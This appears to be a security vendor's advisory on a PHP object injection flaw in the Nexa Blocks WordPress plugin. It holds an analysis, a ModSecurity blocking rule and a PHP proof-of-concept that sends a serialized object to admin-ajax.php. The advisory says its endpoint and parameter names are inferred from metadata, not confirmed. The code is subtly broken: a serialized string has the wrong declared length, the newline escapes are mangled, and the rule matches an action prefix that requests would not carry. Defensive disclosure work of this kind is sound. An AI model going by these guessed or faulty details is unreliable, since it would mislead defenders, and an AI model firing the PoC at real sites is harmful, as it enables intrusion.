Atomic Edge analysis of CVE-2026-25429 (metadata-based):
The Nexa Blocks WordPress plugin, versions up to and including 1.1.1, contains an unauthenticated PHP object injection vulnerability. This flaw exists due to insecure deserialization of user-controlled input. The vulnerability has a CVSS score of 8.1, indicating a high severity risk.
Atomic Edge research identifies the root cause as CWE-502, Deserialization of Untrusted Data. The plugin likely passes unsanitized user input to a PHP unserialize() function. This conclusion is inferred from the CWE classification and the vulnerability description. The exact vulnerable endpoint or parameter is not confirmed from source code, but the pattern is consistent with WordPress AJAX handlers or REST API endpoints that receive serialized data.
Exploitation requires an attacker to send a crafted serialized object to a specific plugin endpoint. Based on WordPress plugin conventions, the likely attack vector is a POST request to /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific hook, such as wp_ajax_nexa_blocks_action or wp_ajax_nopriv_nexa_blocks_action. The malicious serialized payload would be placed in another POST parameter. Without a known POP chain in the plugin, successful exploitation depends on the presence of suitable gadget chains in other installed components.
Remediation requires replacing the insecure unserialize() call with a safe alternative. The plugin should implement proper input validation, using a whitelist of allowed classes or switching to a safe data interchange format like JSON. The patched version should also implement capability checks and nonce verification for all user-facing endpoints to prevent unauthorized access.
If exploited, this vulnerability can lead to severe consequences. An attacker could achieve arbitrary file deletion, sensitive data disclosure, or remote code execution, provided a usable POP chain exists from another plugin or theme. The attack requires no authentication, increasing the potential impact on any site running the vulnerable plugin version.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25429 (metadata-based)
# This rule blocks exploitation attempts targeting the inferred AJAX endpoint for the Nexa Blocks plugin.
# The rule matches the exact admin-ajax.php path and a plugin-specific action parameter.
# The parameter 'data' is inspected for PHP serialized object patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2542901,phase:2,deny,status:403,chain,msg:'CVE-2026-25429: PHP Object Injection via Nexa Blocks AJAX',severity:'CRITICAL',tag:'CVE-2026-25429',tag:'WordPress',tag:'Plugin=Nexa-Blocks'"
SecRule ARGS_POST:action "@rx ^(wp_ajax_nopriv_)?nexa_blocks_" "chain"
SecRule ARGS_POST:data "@rx ^[OoC]:[0-9]+:"
"t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25429 - Nexa Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE <= 1.1.1 - Unauthenticated PHP Object Injection
<?php
/**
* Proof of Concept for CVE-2026-25429.
* This script demonstrates the attack vector for unauthenticated PHP object injection.
* The exact AJAX action and parameter name are inferred from WordPress plugin patterns.
* A generic serialized payload is used, as no specific POP chain is known.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Inferred vulnerable AJAX action. The 'nopriv' prefix allows unauthenticated access.
$inferred_action = 'nexa_blocks_import_content'; // Example action based on common patterns
// Construct a basic serialized object payload.
// This is a demonstration payload. A real exploit requires a specific POP chain.
$malicious_object = 'O:8:"stdClass":1:{s:4:"test";s:10:"injection";}';
// Prepare POST data
$post_fields = [
'action' => $inferred_action,
'data' => $malicious_object, // Parameter name is assumed; could be 'content', 'import', etc.
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo "Sent POST to: $target_urln";
echo "Action parameter: $inferred_actionn";
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Note: A successful exploitation would require a suitable POP chain.
// This PoC only demonstrates the request structure.
?>
